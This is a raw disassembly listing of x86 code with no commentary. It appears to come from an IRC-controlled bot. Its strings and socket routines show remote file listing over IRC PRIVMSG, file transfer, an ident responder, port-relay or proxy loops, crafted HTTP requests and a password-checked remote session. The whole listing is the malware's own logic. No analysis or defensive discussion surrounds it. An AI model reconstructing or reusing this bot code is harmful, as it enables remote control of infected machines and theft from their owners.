push eax
push [ebp+arg_4]
call dword_4CBA24
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call near ptr 2680EF8h
nop
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2780000h
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
nop
call near ptr 25F0000h
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 2730000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
nop
call near ptr 2760B9Eh
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 27A0000h
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call near ptr 271129Ah
nop
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
nop
call near ptr 2670770h
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944
push 6
push 1
push 2
call dword_4CBA54
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9D4
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA24
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9EC
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; ---------------------------------------------------------------------------
loc_410BFD: ; DATA XREF: ___:00401666o
; sub_401ACD+438Bo
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp-0Ch], edi
mov edi, 200h
loc_410C88: ; CODE XREF: ___:00410CE7j
; ___:00410D4Aj ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_410D5C
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CBA60
push eax
lea eax, [ebp-238h]
push offset dword_435164
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp-238h]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov dword ptr [ebp-8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: ___:00410C9Dj
cmp [ebp-8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: ___:00410C44j
; ___:00410C68j ...
call dword_4CB968
push eax
lea eax, [ebp-238h]
push offset dword_435120
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: ___:00410D5Fj
push ebx
call dword_4CBA6C
push dword ptr [ebp-4]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26F0A80h
pop edi
pop esi
pop ebx
loc_410DAB: ; DATA XREF: sub_401ACD+605Do
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410F17
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CBA00
test eax, eax
jnz loc_410F17
push 0Ah
push dword ptr [ebp+8]
call dword_4CB9FC
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: ___:00410E71j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CBA68
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CBA60
push eax
lea eax, [ebp-350h]
push offset unk_4351CC
push eax
call sub_41C266
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B3BA
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_410F3C
push esi
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 227F124h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
dd 850FD075h, 0FFFFFF63h, 0F9E8326Ah, 900226FFh, 0E890EDEBh
dd 227F963h, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: ___:00410E0Ej
; ___:00410E42j ...
mov edi, [ebp+8]
loc_410F1A: ; CODE XREF: ___:00410F15j
push edi
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-40h]
call sub_40B6D6
pop ecx
push esi
nop
call near ptr 26F0A80h
pop edi
pop esi
loc_410F3C: ; DATA XREF: ___:00410ECFo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4110F2
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB9D4
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410FCC
lea eax, [ebp-13Ch]
push eax
call dword_4CBA58
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: ___:00410FBBj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB98C
loc_410FDA: ; CODE XREF: ___:00410FCAj
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CBA60
push eax
lea eax, [ebp-344h]
push offset unk_435254
push eax
call sub_41C266
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_411123
push edi
push edi
nop
call near ptr 2690000h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: ___:00411099j
cmp [ebp-20h], edi
jnz short loc_41109B
push 32h
call near ptr 2680EF8h
nop
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: ___:0041108Fj
mov ebx, 1000h
loc_4110A0: ; CODE XREF: ___:004110DBj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: ___:0041108Aj
nop
call near ptr 269086Bh
push eax
push offset unk_435214
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: ___:00410F80j
; ___:00410FDCj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-4]
call sub_40B6D6
pop ecx
push edi
call near ptr 26F0A80h
nop
pop edi
pop esi
pop ebx
loc_411123: ; DATA XREF: ___:0041106Co
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: ___:0041119Fj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E920[esi]
call dword_4CB9EC
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E91C[esi]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: ___:00411184j
push dword_43E920[esi]
call dword_4CBA6C
push dword ptr [ebp-14h]
call sub_40B6D6
pop ecx
push 0
; ---------------------------------------------------------------------------
dd 2DF8C3E8h, 5E5F9002h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB9BC
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26F0A80h
loc_411244: ; CODE XREF: ___:0041122Aj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB928
test eax, eax
jz short loc_4112BD
call dword_4CB968
push eax
push offset unk_43532C
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push edi
nop
call near ptr 26F0A80h
loc_4112BD: ; CODE XREF: ___:00411298j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB98C
cmp eax, edi
jnz short loc_4112E7
push dword ptr [ebp-18h]
call dword_4CBA60
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: ___:004112CDj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: ___:004112E5j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24
cmp dword_4CE72C, edi
jnz short loc_411357
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26F0A80h
loc_411357: ; CODE XREF: ___:0041130Cj
; ___:0041132Dj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4352F0
call sub_415DAC
push dword ptr [ebp+8]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
call near ptr 269086Bh
nop
push eax
push offset unk_4352C4
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push ebx
call near ptr 26F0A80h
nop
loc_41139E: ; CODE XREF: ___:00411379j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_435298
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 10h
push edi
nop
call near ptr 26F0A80h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: ___:0041125Ap
; ___:00411267p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435358
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: ___:00411323p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_435384
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; ---------------------------------------------------------------------------
word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h
dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
dd 0F5DAE857h, 5790022Dh, 4116CC68h, 96E89000h, 850238F6h
dd 902975C0h, 27F3AEE8h, 0B0685002h, 0E8004354h, 48E4h
dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
dd 22DF5A0h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch
dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 227E9E4h
dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
dd 850FC875h, 0FFFFFF37h, 0B9E8326Ah, 900226F8h, 0E890EDEBh
dd 227F223h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h
dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h
dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
dd 13E8B475h, 59FFFFA0h, 0B5E89056h, 5B022DF3h, 4439C033h
dd 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: ___:0041136Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
nop
call near ptr 269086Bh
push eax
push offset unk_435554
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
nop
call near ptr 269086Bh
push eax
push offset unk_435554
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 26A0846h
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 27A0E49h
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call near ptr 269086Bh
nop
push eax
push offset unk_435520
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
call near ptr 26A0846h
nop
push 1
push dword ptr [esi+8]
call near ptr 2730250h
nop
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, dword_427070
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CBA6C
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
